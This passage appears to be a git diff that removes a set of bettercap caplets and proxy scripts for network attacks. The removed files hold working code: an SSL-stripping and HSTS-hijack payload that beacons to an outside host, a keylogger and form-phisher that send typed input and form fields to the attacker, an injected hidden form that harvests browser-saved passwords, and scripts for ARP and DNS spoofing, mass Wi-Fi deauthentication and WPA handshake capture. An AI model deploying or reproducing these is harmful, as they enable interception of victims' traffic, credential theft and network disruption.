obf_var_strippedURL.replace(/^(?:(?:\w+:)?\/\/)?[^/?#]*([/][^?#]*).*$/i, "$1"); - } - if (obf_var_strippedURL.match(/^.*?([?][^#]*).*/i)) { - obf_var_retval[4] = obf_var_strippedURL.replace(/^.*?([?][^#]*).*$/i, "$1"); - } - if (obf_var_strippedURL.match(/^[^#]*([#].*)/i)) { - obf_var_retval[5] = obf_var_strippedURL.replace(/^[^#]*([#].*)/i, "$1"); - } - return obf_var_retval; - } - - function obf_func_callback(obf_var_host) { - for ( - var obf_var_i = 0; - obf_var_i < obf_var_callback_log.length; - obf_var_i++ - ) { - if (obf_var_callback_log[i] == obf_var_host) { - return; - } - } - obf_var_callback_log.push(obf_var_host); - var obf_var_req = obf_var_XMLHttpRequest; - obf_var_req.open( - "GET", - "http://obf_random_host/obf_path_ssl_log?" + obf_var_host, - true); - obf_var_req.send(); - } - - function obf_func_hijack(obf_var_host) { - for ( - var obf_var_i = 0; - obf_var_i < obf_var_target_hosts.length; - obf_var_i++ - ) { - var obf_var_whole_regexp_set = obf_func_toWholeRegexpSet( - obf_var_target_hosts[obf_var_i], - obf_var_replacement_hosts[obf_var_i]); - if (obf_var_host.match(obf_var_whole_regexp_set[0])) { - obf_var_host = obf_var_host.replace( - obf_var_whole_regexp_set[0], - obf_var_whole_regexp_set[1]); - break; - } - } - return obf_var_host; - } - - function obf_func_hook_XMLHttpRequest() { - XMLHttpRequest.prototype.open = function( - obf_var_method, - obf_var_url, - obf_var_async, - obf_var_username, - obf_var_password - ) { - var obf_var_parsed_url = obf_func_parseURL(obf_var_url), - obf_var_hijacked_host = obf_func_hijack(obf_var_parsed_url[1]); - if (obf_var_hijacked_host != obf_var_parsed_url[1]) { - if (obf_var_parsed_url[0].toLowerCase() === "https://") { - obf_var_parsed_url[0] = obf_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://"); - } - if (obf_var_parsed_url[2] === ":443") { - obf_var_parsed_url[2] = ""; - } - } - obf_var_url = obf_var_parsed_url[0] + - obf_var_hijacked_host + - obf_var_parsed_url[2] + - obf_var_parsed_url[3] + - obf_var_parsed_url[4] + - obf_var_parsed_url[5]; - return obf_func_open.apply(this, arguments); - } - } - - function obf_func_hook_nodes() { - document.querySelectorAll("a,form,script,iframe").forEach(function(obf_var_node){ - try { - var obf_var_url = ""; - switch (obf_var_node.tagName) { - case "A": - obf_var_node.href - ? obf_var_url = obf_var_node.href - : ""; - break; - case "FORM": - obf_var_node.action - ? obf_var_url = obf_var_node.action - : ""; - break; - case "SCRIPT": - obf_var_node.src - ? obf_var_url = obf_var_node.src - : ""; - break; - case "IFRAME": - obf_var_node.src - ? obf_var_url = obf_var_node.src - : ""; - break; - } - if (obf_var_url.match(/^\s*(?:http[s]?:)?\/\/[^:/?#]+/i)) { - var obf_var_parsed_url = obf_func_parseURL(obf_var_url), - obf_var_hijacked_host = obf_func_hijack(obf_var_parsed_url[1]); - if (obf_var_hijacked_host != obf_var_parsed_url[1]) { - if (obf_var_parsed_url[0].toLowerCase() === "https://") { - obf_var_parsed_url[0] = obf_var_parsed_url[0].replace(/(http)s:\/\//i, "$1://"); - } - if (obf_var_parsed_url[2] === ":443") { - obf_var_parsed_url[2] = ""; - } - } - var obf_var_hijacked_url = obf_var_parsed_url[0] + - obf_var_hijacked_host + - obf_var_parsed_url[2] + - obf_var_parsed_url[3] + - obf_var_parsed_url[4] + - obf_var_parsed_url[5]; - switch (obf_var_node.tagName) { - case "A": - if (obf_var_node.href) { - obf_var_node.href = obf_var_hijacked_url; - } - break; - case "FORM": - if (obf_var_node.action) { - obf_var_node.action = obf_var_hijacked_url; - } - break; - case "SCRIPT": - if (obf_var_node.src) { - obf_var_node.src = obf_var_hijacked_url; - } - break; - case "IFRAME": - if (obf_var_node.src) { - obf_var_node.src = obf_var_hijacked_url; - } - break; - } - obf_func_callback(obf_var_parsed_url[1].toLowerCase()); - } - } catch(obf_var_ignore) {} - }); - } - - try { - obf_func_hook_XMLHttpRequest(); - } catch(obf_var_ignore) {} - - try { - setInterval(obf_func_hook_nodes, 2000); - obf_func_hook_nodes(); - } catch(obf_var_ignore) {} - - try { - globalThis.addEventListener("load", obf_func_hook_nodes); - } catch(obf_var_ignore) {} - }); -})(); - diff --git a/hstshijack/payloads/keylogger.js b/hstshijack/payloads/keylogger.js deleted file mode 100644 index 2f9f00d..0000000 --- a/hstshijack/payloads/keylogger.js +++ /dev/null @@ -1,141 +0,0 @@ -/* - Hooks the keyup event and onsubmit events of forms and disables form autocompletion. - - Remember that any occurrence of 'obf_path_ssl_log', 'obf_path_callback' and - 'obf_path_whitelist' in this payload will be replaced when the proxy module - loads and that variable names 'obf_var_target_hosts' and 'obf_var_replacement_hosts' - are already declared before this is injected. -*/ - - -(function(){ - "use strict"; - - var obf_var_keystrokes = []; - - function obf_func_random_string(obf_var_length) { - var obf_var_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", - obf_var_buff = new Array(obf_var_length); - for (var obf_var_i = 0; obf_var_i < obf_var_length; obf_var_i++) { - obf_var_buff[obf_var_i] = obf_var_chars.charAt(parseInt(Math.random() * obf_var_chars.length)); - } - return obf_var_buff.join(""); - } - - function obf_func_callback() { - try { - var obf_var_inputs = document.getElementsByTagName("input"), - obf_var_textareas = document.getElementsByTagName("textarea"), - obf_var_params = ""; - - for (var obf_var_i = 0; obf_var_i < obf_var_inputs.length; obf_var_i++) { - if (obf_var_inputs[obf_var_i].value != "") { - obf_var_params += encodeURIComponent(obf_var_inputs[obf_var_i].name) + - "=" + encodeURIComponent(obf_var_inputs[obf_var_i].value) + - (obf_var_i < (obf_var_inputs.length-1) ? "&" : ""); - } - } - for (var obf_var_i = 0; obf_var_i < obf_var_textareas.length; obf_var_i++) { - if (obf_var_textareas[obf_var_i].value != "") { - obf_var_params += encodeURIComponent(obf_var_textareas[obf_var_i].name) + - "=" + encodeURIComponent(obf_var_textareas[obf_var_i].value) + - (obf_var_i < (obf_var_textareas.length-1) ? "&" : ""); - } - } - if (obf_var_params !== "") { - obf_var_params += "&"; - } - obf_var_params += "obf_var_keystrokes=" + encodeURIComponent(obf_var_keystrokes.join(",")); - - if (obf_var_params.length > 0) { - var obf_var_req = new XMLHttpRequest(); - obf_var_req.open( - "POST", - "http://" + location.host + "obf_path_callback?" + obf_var_params, - true); - obf_var_req.send(); - } - } catch(obf_var_ignore){} - } - - function obf_func_callback_whitelist() { - try { - var obf_var_inputs = document.getElementsByTagName("input"), - obf_var_textareas = document.getElementsByTagName("textarea"), - obf_var_params = ""; - - for (var obf_var_i = 0; obf_var_i < obf_var_inputs.length; obf_var_i++) { - if (obf_var_inputs[obf_var_i].value != "") { - obf_var_params += encodeURIComponent(obf_var_inputs[obf_var_i].name) + - "=" + encodeURIComponent(obf_var_inputs[obf_var_i].value) + - (obf_var_i < (obf_var_inputs.length-1) ? "&" : ""); - } - } - for (var obf_var_i = 0; obf_var_i < obf_var_textareas.length; obf_var_i++) { - if (obf_var_textareas[obf_var_i].value != "") { - obf_var_params += encodeURIComponent(obf_var_textareas[obf_var_i].name) + - "=" + encodeURIComponent(obf_var_textareas[obf_var_i].value) + - (obf_var_i < (obf_var_textareas.length-1) ? "&" : ""); - } - } - - if (obf_var_params.length > 0) { - var obf_var_req = new XMLHttpRequest(); - obf_var_req.open( - "POST", - "http://" + location.host + "obf_path_whitelist?" + obf_var_params, - true); - obf_var_req.send(); - } - } catch(obf_var_ignore){} - } - - function obf_func_hook_keyup() { - globalThis.addEventListener("keydown", function(obf_var_event) { - try { - obf_var_keystrokes.push(obf_var_event.key); - obf_func_callback(); - } catch(obf_var_ignore){} - }); - } - - function obf_func_hook_forms() { - document.querySelectorAll("form").forEach(function(obf_var_form){ - // if (obf_var_form.querySelector("input[type=password]")) { - // obf_var_form.addEventListener("submit", obf_func_callback_whitelist); - // } else { - obf_var_form.addEventListener("submit", obf_func_callback); - // } - }); - } - - function obf_func_hook_inputs() { - document.querySelectorAll("input").forEach(function(obf_var_input){ - obf_var_input.autocomplete = "off"; - }); - } - - var obf_var_hooked_tag = obf_func_random_string(parseInt(8 + Math.random() * 8)); - - try { - obf_func_hook_keyup(); - } catch(obf_var_ignore){} - - try { - obf_func_hook_forms(); - } catch(obf_var_ignore){} - - try { - obf_func_hook_inputs(); - } catch(obf_var_ignore){} - - try { - globalThis.addEventListener("DOMContentLoaded", obf_func_hook_forms); - globalThis.addEventListener("DOMContentLoaded", obf_func_hook_inputs); - globalThis.addEventListener("load", obf_func_hook_forms); - globalThis.addEventListener("load", obf_func_hook_inputs); - setInterval(obf_func_hook_forms, 2000); - setInterval(obf_func_hook_inputs, 2000); - } catch(obf_var_ignore){} -})(); - diff --git a/hstshijack/payloads/sslstrip.js b/hstshijack/payloads/sslstrip.js deleted file mode 100644 index 79655fd..0000000 --- a/hstshijack/payloads/sslstrip.js +++ /dev/null @@ -1,72 +0,0 @@ -/* - Hooks XMLHttpRequest as well as 'a', 'form', 'script' & 'iframe' nodes. - - Remember that any occurrence of 'obf_path_ssl_log', 'obf_path_callback' and - 'obf_path_whitelist' in this payload will be replaced when the proxy module - loads and that variable names 'obf_var_target_hosts' and 'obf_var_replacement_hosts' - are already declared before this is injected. -*/ - -(function(){ - "use strict"; - - var obf_func_open = XMLHttpRequest.prototype.open; - - function obf_func_hook_XMLHttpRequest() { - XMLHttpRequest.prototype.open = function( - obf_var_method, - obf_var_url, - obf_var_async, - obf_var_username, - obf_var_password - ) { - var obf_var_url = obf_var_url.replace(/(http)s/ig, "$1"); - return obf_func_open.apply(this, arguments); - } - } - - function obf_func_hook_nodes() { - document.querySelectorAll("a,iframe,script,form").forEach(function(obf_var_node){ - try { - switch (obf_var_node.tagName) { - case "A": - if (obf_var_node.href && obf_var_node.href.match(/^\s*https:/i)) { - obf_var_node.href = obf_var_node.href.replace(/(http)s/i, "$1"); - } - break; - case "IFRAME": - if (obf_var_node.src && obf_var_node.src.match(/^\s*https:/i)) { - obf_var_node.src = obf_var_node.src.replace(/(http)s/i, "$1"); - } - break; - case "SCRIPT": - if (obf_var_node.src && obf_var_node.src.match(/^\s*https:/i)) { - obf_var_node.src = obf_var_node.src.replace(/(http)s/i, "$1"); - } - break; - case "FORM": - if (obf_var_node.action && obf_var_node.action.match(/^\s*https:/i)) { - obf_var_node.action = obf_var_node.action.replace(/(http)s/i, "$1"); - } - break; - } - } catch(obf_var_ignore) {} - }); - } - - try { - obf_func_hook_XMLHttpRequest(); - } catch(obf_var_ignore) {} - - try { - obf_func_hook_nodes(); - } catch(obf_var_ignore) {} - - try { - obf_func_hook_XMLHttpRequest(); - globalThis.addEventListener("DOMContentLoaded", obf_func_hook_nodes); - globalThis.addEventListener("load", obf_func_hook_nodes); - setInterval(obf_func_hook_nodes, 4000); - } catch(obf_var_ignore) {} -})(); - diff --git a/http-req-dump/http-req-dump.cap b/http-req-dump/http-req-dump.cap deleted file mode 100644 index 18ed59f..0000000 --- a/http-req-dump/http-req-dump.cap +++ /dev/null @@ -1,27 +0,0 @@ -# targeting the whole subnet by default, to make it selective: -# -# sudo ./bettercap -caplet http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64" - -# to make it less verbose -# events.stream off - -# discover a few hosts -net.probe on -sleep 1 -net.probe off - -# uncomment to enable sniffing too -# set net.sniff.verbose false -# set net.sniff.local true -# set net.sniff.filter tcp port 443 -# net.sniff on - -# we'll use this proxy script to dump requests -set https.proxy.script http-req-dump.js -set http.proxy.script http-req-dump.js -clear - -# go ^_^ -http.proxy on -https.proxy on -arp.spoof on diff --git a/http-req-dump/http-req-dump.js b/http-req-dump/http-req-dump.js deleted file mode 100644 index ac8e996..0000000 --- a/http-req-dump/http-req-dump.js +++ /dev/null @@ -1,222 +0,0 @@ -var RESET = "\033[0m"; - -function R(s) { - return "\033[31m" + s + RESET; -} - -function G(s) { - return "\033[32m" + s + RESET; -} - -function B(s) { - return "\033[34m" + s + RESET; -} - -function Y(s) { - return "\033[33m" + s + RESET; -} - -function BLACK_BLUE(s) { - return "\033[104;30m" + s + RESET; -} - -function BLACK_RED(s) { - return "\033[41;30m" + s + RESET; -} - -function DIM(s) { - return "\033[2m" + s + RESET; -} - -function GREY(s) { - return "\033[30m" + s + RESET; -} - -function BOLD(s) { - return "\033[1m" + s + RESET; -} - -function dumpHeaders(req) { - headers = req.Headers.replace(/\r\n$/g, "").split("\r\n"); - - msg = "\n " + BOLD("Headers") + "\n\n"; - - for (var i = 0; i < headers.length; i++) { - header_name = headers[i].replace(/:.*/, ""); - header_value = headers[i].replace(/.*?: /, ""); - - msg += " " + G(header_name) + " => " + BOLD(header_value) + "\n"; - } - - console.log(msg); -} - -function dumpPlain(req) { - body = req.ReadBody(); - - if (req.Body.length > 0) { - console.log(" " + BOLD("Text") + "\n\n " + Y(body) + "\n"); - } -} - -function dumpForm(req) { - form = req.ParseForm(); - - if (Object.keys(form).length > 0) { - msg = " " + BOLD("Form") + "\n\n"; - - for (var key in form) { - msg += " " + B(strip(key)) + " : " + Y(strip(form[key])) + "\n"; - } - - console.log(msg); - } -} - -function dumpQuery(req) { - params = req.Query.split("&"); - - msg = " " + BOLD("Query") + "\n\n"; - - for (var i = 0; i < params.length; i++) { - param_name = params[i].split("=")[0]; - param_value = params[i].split("=")[1]; - - if (param_name != undefined && param_value != undefined && param_name.length > 0 && param_value.length > 0) { - try { - msg += " " + B(strip(decodeURIComponent(param_name))) + " : " + Y(strip(decodeURIComponent(param_value))) + "\n"; - } catch(err) { - msg += " " + B(strip(param_name)) + " : " + Y(strip(param_value)) + "\n"; - log_debug("could not decode URI parameter: " + err); - } - } else { - if (params[i].length > 0) { - try { - msg += " " + Y(strip(decodeURIComponent(params[i]))) + "\n"; - } catch(err) { - msg += " " + Y(strip(params[i])) + "\n"; - log_debug("could not decode URI parameter: " + err); - } - } - } - } - - console.log(msg); -} - -function dumpJSON(req) { - msg = " " + BOLD("JSON") + "\n\n"; - - var body = req.ReadBody(); - - if (req.Body.length > 0) { - try { - json = JSON.parse(body); - json_msg = JSON.stringify(json, null, 4); - - msg_lines = json_msg.split("\n"); - - for (var i = 0; i < msg_lines.length; i++) { - msg += " " + msg_lines[i].replace(/^(\s*)\{$/, "$1" + B("{")) - .replace(/^(\s*)\[$/, "$1" + B("[")) - .replace(/^(\s*)(".*?"): \{$/, "$1" + B("$2") + ": " + B("{")) - .replace(/^(\s*)(".*?"): \[$/, "$1" + B("$2") + ": " + B("[")) - .replace(/^(\s*)(".*?"): (.*?)(,$|$)/, "$1" + B("$2") + ": " + Y("$3") + "$4") - .replace(/^(\s*)(".*?")(,$|$)/, "$1" + Y("$2") + "$3") - .replace(/^(\s*)(\d*?)(,$|$)/, "$1" + Y("$2") + "$3") - .replace(/^(\s*)\](,$|$)/, "$1" + B("]") + "$2") - .replace(/^(\s*)\}(,$|$)/, "$1" + B("}") + "$2") + "\n"; - } - } catch(ignore) { - msg += " " + Y(body) + "\n"; - } - - console.log(msg); - } -} - -function dumpHex(raw) { - var DataSize = raw.length; - var Bytes = 16; - - msg = ""; - - for (var address = 0; address < DataSize; address++) { - var saddr = pad(address, 8, "0"); - var shex = ""; - var sprint = ""; - - var end = address + Bytes; - for (var i = address; i < end; i++) { - if (i < DataSize) { - shex += toHex(raw.charCodeAt(i)) + " "; - sprint += isPrint(raw[i]) ? raw[i] : "."; - } else { - shex += " "; - sprint += " "; - } - } - - address = end; - - msg += " " + G(saddr) + " " + shex + " " + sprint + "\n"; - } - - console.log(msg); -} - -function dumpRaw(req) { - var body = req.ReadBody(); - - if (body.length > 0) { - console.log(" " + BOLD("Body") + " " + DIM("(" + body.length + " bytes)") + "\n"); - - dumpHex(body); - } -} - -function pad(num, size, fill) { - var s = "" + num; - - while (s.length < size) { - s = fill + s; - } - - return s; -} - -function strip(s) { - return s.replace(/^\s*/, "").replace(/\s*$/, ""); -} - -function toHex(n) { - var hex = "0123456789abcdef"; - var h = hex[(0xF0 & n) >> 4] + hex[0x0F & n]; - return pad(h, 2, "0"); -} - -function isPrint(c) { - if (!c) { return false; } - var code = c.charCodeAt(0); - return (code > 31) && (code < 127); -} - -function onRequest(req, res) { - log("[" + G("http-req-dump") + "] " + BLACK_RED(req.Scheme) + " " + req.Client.IP + " " + BLACK_BLUE(req.Method) + " " + GREY(req.Scheme + "://") + Y(req.Hostname) + req.Path + (req.Query != "" ? GREY("?" + req.Query) : "")); - - dumpHeaders(req); - - if (req.Query.length > 0) { - dumpQuery(req); - } - - if (req.ContentType.indexOf("text/plain") != -1) { - dumpPlain(req); - } else if (req.ContentType.indexOf("application/x-www-form-urlencoded") != -1) { - dumpForm(req); - } else if (req.ContentType.indexOf("application/json") != -1) { - dumpJSON(req); - } else { - dumpRaw(req); - } -} diff --git a/http-ui.cap b/http-ui.cap deleted file mode 100644 index bb64c8e..0000000 --- a/http-ui.cap +++ /dev/null @@ -1,15 +0,0 @@ -# api listening on http://127.0.0.1:8081/ and ui to http://127.0.0.1 -set api.rest.address 127.0.0.1 -set api.rest.port 8081 -set http.server.address 127.0.0.1 -set http.server.port 80 -# default installation path of the ui -set http.server.path /usr/local/share/bettercap/ui - -# !!! CHANGE THESE !!! -set api.rest.username user -set api.rest.password pass - -# go! -api.rest on -http.server on diff --git a/https-ui.cap b/https-ui.cap deleted file mode 100644 index 81aaf3a..0000000 --- a/https-ui.cap +++ /dev/null @@ -1,21 +0,0 @@ -# api listening on https://0.0.0.0:8083/ and ui on https://0.0.0.0 -set api.rest.address 0.0.0.0 -set api.rest.port 8083 -set https.server.address 0.0.0.0 -set https.server.port 443 - -# make sure both use the same https certificate so api requests won't fail -set https.server.certificate ~/.bettercap-https.cert.pem -set https.server.key ~/.bettercap-https.key.pem -set api.rest.certificate ~/.bettercap-https.cert.pem -set api.rest.key ~/.bettercap-https.key.pem -# default installation path of the ui -set https.server.path /usr/local/share/bettercap/ui - -# !!! CHANGE THESE !!! -set api.rest.username user -set api.rest.password pass - -# go! -api.rest on -https.server on diff --git a/jsinject/README.md b/jsinject/README.md deleted file mode 100644 index 68d1ab9..0000000 --- a/jsinject/README.md +++ /dev/null @@ -1,25 +0,0 @@ -### JS-INJECT - -A simple yet powerful proxy module that lets you inject your JavaScript payloads into any HTTP web page/application. - -It prevents re-initiation of your script when it's already active in the DOM by declaring your payload as a unique function variable, and in some cases ignores the `X-Content-Type-Options: nosniff` header by checking for both `Content-Type` headers and file extensions. - -All you have to do is set your payload path in the caplet file. - -**jsinject/jsinject.cap** - -```sh -# Set the path to your JavaScript payload -set jsinject.payload jsinject/payloads/form-phisher.js - -set http.proxy.script jsinject/jsinject.js -set net.sniff.verbose false -net.sniff on -http.proxy on -``` - -
- -### Included payload - -form-phisher.js is included, which will wait for the victim to press a key before binding to the enter key, mouse click, screen tap and submit events in order to phish all the fields. This can be useful when you want to sniff proxied forms that are submitted over HTTPS, don't use URL parameters, etc. diff --git a/jsinject/jsinject.cap b/jsinject/jsinject.cap deleted file mode 100644 index 98f7dfd..0000000 --- a/jsinject/jsinject.cap +++ /dev/null @@ -1,8 +0,0 @@ -# Set the path to your JavaScript payload -set jsinject.payload jsinject/payloads/form-phisher.js - -set http.proxy.script jsinject/jsinject.js -set net.sniff.verbose false -net.sniff on -http.proxy on -#arp.spoof on diff --git a/jsinject/jsinject.js b/jsinject/jsinject.js deleted file mode 100644 index 3fc2325..0000000 --- a/jsinject/jsinject.js +++ /dev/null @@ -1,51 +0,0 @@ -var session_id, - payload, - payload_path, - payload_container = "" + - "if (!self.{{session_id}}) {\n" + - "var {{session_id}} = function() {\n" + - "{{payload}}\n" + - "}\n" + - "{{session_id}}();\n" + - "}\n" - -var green = "\033[32m", - bold = "\033[1;37m", - reset = "\033[0m" - -function randomString(length) { - var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", - buffer = "" - while (buffer.length < length) { - index = parseInt( Math.random() * chars.length ) - buffer = buffer + chars.charAt(index) - } - return buffer -} - -function configure() { - payload_path = env["jsinject.payload"].replace(/\s/g, "") - payload = readFile(payload_path) - payload = payload_container.replace("{{payload}}", payload).replace(/\{\{session_id\}\}/g, session_id) -} - -function onLoad() { - session_id = randomString( 4 + parseInt( Math.random() * 16 ) ) - configure() - log_info(green + "jsinject" + reset + " started injecting payload " + bold + payload_path + reset + " into HTTP traffic.") - log_info(green + "jsinject" + reset + " session ID is " + bold + session_id + reset + ".") -} - -function onResponse(req, res) { - configure() - if ( res.ContentType.match(/^text\/html/i) || req.Path.replace(/\?.*/, "").match(/\.(htm|html)$/i) ) { - res.ReadBody() - log_debug("(" + green + "jsinject" + reset + ") attempting to inject HTML document from " + bold + req.Hostname + reset + " ...") - res.Body = res.Body.replace(//i, "") - } - if ( res.ContentType.match(/^text\/javascript/i) || res.ContentType.match(/^application\/javascript/i) || req.Path.replace(/\?.*/, "").match(/\.js$/i) ) { - res.ReadBody() - log_debug("(" + green + "jsinject" + reset + ") attempting to inject JS document from " + bold + req.Hostname + reset + " ...") - res.Body = payload + res.Body - } -} diff --git a/jsinject/payloads/form-phisher.js b/jsinject/payloads/form-phisher.js deleted file mode 100644 index 43b24c9..0000000 --- a/jsinject/payloads/form-phisher.js +++ /dev/null @@ -1,35 +0,0 @@ -var hooked = false - -function callback() { - var inputs = document.getElementsByTagName("input"), - textareas = document.getElementsByTagName("textarea"), - params = "" - for (var i = 0; i < inputs.length; i++) { - if (inputs[i].value != "") { - params = params + inputs[i].name + "=" + inputs[i].value + ( i < (inputs.length-1) ? "&" : "" ) - } - } - for (var i = 0; i < textareas.length; i++) { - if (textareas[i].value != "") { - params = params + textareas[i].name + "=" + textareas[i].value + ( i < (textareas.length-1) ? "&" : "" ) - } - } - if (params.length > 0) { - req = new XMLHttpRequest() - req.open("POST", "http://" + location.host + "/bettercap_sniffer_callback?" + params, true) - req.send() - } -} - -self.addEventListener("keydown", function(event) { - (event.key == "Enter" || event.keyCode == 13) ? callback() : "" - if (hooked == false) { - self.addEventListener("click", callback) - self.addEventListener("touchend", callback) - forms = document.querySelectorAll("form") - for (var i = 0; i < forms.length; i++) { - forms[i].addEventListener("submit", callback) - } - hooked = true - } -}) diff --git a/local-sniffer.cap b/local-sniffer.cap deleted file mode 100644 index c9c82b1..0000000 --- a/local-sniffer.cap +++ /dev/null @@ -1,11 +0,0 @@ -#events.stream off -events.clear -# set events.stream.filter net.sniff -# events.stream on - -set net.sniff.verbose false -set net.sniff.local true -# https://biot.com/capstats/bpf.html -# set net.sniff.filter not arp and not udp port 53 - -net.sniff on diff --git a/login-manager-abuse/login-man-abuse.cap b/login-manager-abuse/login-man-abuse.cap deleted file mode 100644 index cf1bb78..0000000 --- a/login-manager-abuse/login-man-abuse.cap +++ /dev/null @@ -1,12 +0,0 @@ -# targeting the whole subnet by default, to make it selective: -# -# sudo ./bettercap -caplet login-man-abuse.cap -eval "set arp.spoof.targets 192.168.1.53" - -set http.proxy.script login-man-abuse.js -http.proxy on -sleep 1 -arp.spoof on - - - - diff --git a/login-manager-abuse/login-man-abuse.js b/login-manager-abuse/login-man-abuse.js deleted file mode 100644 index a9c0b89..0000000 --- a/login-manager-abuse/login-man-abuse.js +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Ref. - * - https://github.com/evilsocket/bettercap-proxy-modules/issues/72 - * - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/ - * - * The idea: - * - * - On every html page, inject this invisible form who grabs credentials from login managers. - * - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request. - * - Intercept request, dump credentials, drop client to 404. - */ -var AbuserJavascript = ""; - -function onLoad() { - // log( "Loading abuser code from login-man-abuser.js" ); - AbuserJavascript = readFile("/usr/local/share/bettercap/caplets/login-manager-abuse/login-man-abuser.js") -} - -// here we intercept the ajax POST request with leaked credentials. -function onRequest(req, res) { - if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) { - log( "[LOGIN MANAGER ABUSER]\n", req.ReadBody() ); - // this was just a fake request we needed to exfiltrate - // credentials to us, drop the connection with an empty 200. - headers = res.Headers.split("\r\n"); - for (var i = 0; i < headers.length; i++) { - header_name = headers[i].replace(/:.*/, ""); - res.RemoveHeader(header_name); - } - res.SetHeader("Connection", "close"); - res.Status = 200; - res.ContentType = "text/html"; - res.Body = ""; - } -} - -// inject the javascript in html pages -function onResponse(req, res) { - if( res.ContentType.indexOf('text/html') == 0 ){ - var body = res.ReadBody(); - if( body.indexOf('') != -1 ) { - res.Body = body.replace( - '', - '' + - '' - ); - } - } -} diff --git a/login-manager-abuse/login-man-abuser.js b/login-manager-abuse/login-man-abuser.js deleted file mode 100644 index e4d329b..0000000 --- a/login-manager-abuse/login-man-abuser.js +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Ref. - * - https://github.com/evilsocket/bettercap-proxy-modules/issues/72 - * - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/ - * - * The idea: - * - * - On every html page, inject this invisible form who grabs credentials from login managers. - * - POST such credentials to /login-man-abuser, given we control the HTTP traffic, well intercept this request. - * - Intercept request, dump credentials, drop client to 404. - */ -var AbuserJavascript = -var injectForm = function(visible) { -var container = document.createElement("div"); -if (!visible){ -container.style.display = "none"; -} -var form = document.createElement("form"); -form.attributes.autocomplete = "on"; -var emailInput = document.createElement("input"); -emailInput.attributes.vcard_name = "vCard.Email"; -emailInput.id = "email"; -emailInput.type = "email"; -emailInput.name = "email"; -form.appendChild(emailInput); -var passwordInput = document.createElement("input"); -passwordInput.id = "password"; -passwordInput.type = "password"; -passwordInput.name = "password"; -form.appendChild(passwordInput); -container.appendChild(form); -document.body.appendChild(container); -}; - -var doPOST = function(data) { -var xhr = new XMLHttpRequest(); - -xhr.open("POST", "/login-man-abuser"); -xhr.setRequestHeader("Content-Type", "application/json"); -xhr.onload = function() { -console.log("Enjoy your coffee!"); -}; - -xhr.send(JSON.stringify(data)); -}; - -var sniffInputField = function(fieldId){ -var inputElement = document.getElementById(fieldId); -if (inputElement.value.length){ -return {fieldId: inputElement.value}; -} -window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms -}; - -var sniffInputFields = function(){ -var inputs = document.getElementsByTagName("input"); -data = {}; -for (var i = 0; i < inputs.length; i++) { -console.log("Will try to sniff element with id: " + inputs[i].id); -output = stringsniffInputField(inputs[i].id); -data = Object.assign({}, data, output); -} -doPOST(data); -}; - -var sniffFormInfo = function(visible) { -injectForm(visible); -sniffInputFields(); -}; - -sniffFormInfo(false);; diff --git a/mana.cap b/mana.cap deleted file mode 100644 index 6e5e026..0000000 --- a/mana.cap +++ /dev/null @@ -1 +0,0 @@ -!berate_ap --no-virt --mana --mana-loud wlan1 wlan0 FreeWIFI diff --git a/massdeauth.cap b/massdeauth.cap deleted file mode 100644 index dc491a5..0000000 --- a/massdeauth.cap +++ /dev/null @@ -1,13 +0,0 @@ -set $ {by}{fw}{env.iface.name}{reset} {bold}» {reset} - -# every 10 seconds deauth every client from every ap -set ticker.period 10 -set ticker.commands clear; wifi.deauth ff:ff:ff:ff:ff:ff - -# uncomment to only hop on these channels: -# wifi.recon.channel 1,2,3 - -wifi.recon on -ticker on -events.clear -clear diff --git a/mitm6.cap b/mitm6.cap deleted file mode 100644 index 0398c87..0000000 --- a/mitm6.cap +++ /dev/null @@ -1,20 +0,0 @@ -# let's spoof Microsoft and Google ^_^ -set dns.spoof.domains microsoft.com, google.com -set dhcp6.spoof.domains microsoft.com, google.com - -# every http request to the spoofed hosts will come to us -# let's give em some contents -set http.server.path www - -# serve files -http.server on -# redirect DNS request by spoofing DHCPv6 packets -dhcp6.spoof on -# send spoofed DNS replies ^_^ -dns.spoof on - -# set a custom prompt for ipv6 -set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}» {reset} -# clear the events buffer and the screen -events.clear -clear diff --git a/netmon.cap b/netmon.cap deleted file mode 100644 index d6d2ba5..0000000 --- a/netmon.cap +++ /dev/null @@ -1,4 +0,0 @@ -net.recon on -net.probe on -clear -ticker on diff --git a/pita.cap b/pita.cap deleted file mode 100644 index 237680a..0000000 --- a/pita.cap +++ /dev/null @@ -1,32 +0,0 @@ -# More info about this caplet: https://twitter.com/evilsocket/status/1021367629901115392 - -set $ {bold}😈 » {reset} - -# make sure wlan0 is in monitor mode -# ref: https://github.com/offensive-security/kali-arm-build-scripts/blob/master/rpi3-nexmon.sh -!monstop -!monstart - -# every 5 seconds: -# - clear the screen -# - show the list of nearby access points -# - deauth every client from each one of them -set ticker.period 5 -set ticker.commands clear; wifi.show; wifi.deauth ff:ff:ff:ff:ff:ff -# sniff EAPOL frames ( WPA handshakes ) and save them to a pcap file. -set net.sniff.verbose true -set net.sniff.filter ether proto 0x888e -set net.sniff.output wpa.pcap - -# uncomment to only hop on these channels: -# wifi.recon.channel 1,2,3 -wifi.recon on -ticker on -net.sniff on - -# we'll see lots of probes after each deauth, just skip the noise ... -events.ignore wifi.client.probe -# start fresh -events.clear -clear - diff --git a/proxy-script-test/proxy-script-test.cap b/proxy-script-test/proxy-script-test.cap deleted file mode 100644 index 02edc91..0000000 --- a/proxy-script-test/proxy-script-test.cap +++ /dev/null @@ -1,2 +0,0 @@ -set http.proxy.script proxy-script-test.js -http.proxy on diff --git a/proxy-script-test/proxy-script-test.js b/proxy-script-test/proxy-script-test.js deleted file mode 100644 index b450ae6..0000000 --- a/proxy-script-test/proxy-script-test.js +++ /dev/null @@ -1,49 +0,0 @@ -// called when script is loaded -function onLoad() { - console.log( "PROXY SCRIPT LOADED" ); -} - -// called before a request is proxied -function onRequest(req, res) { - if( req.Path == "/test-page" ){ - headers = 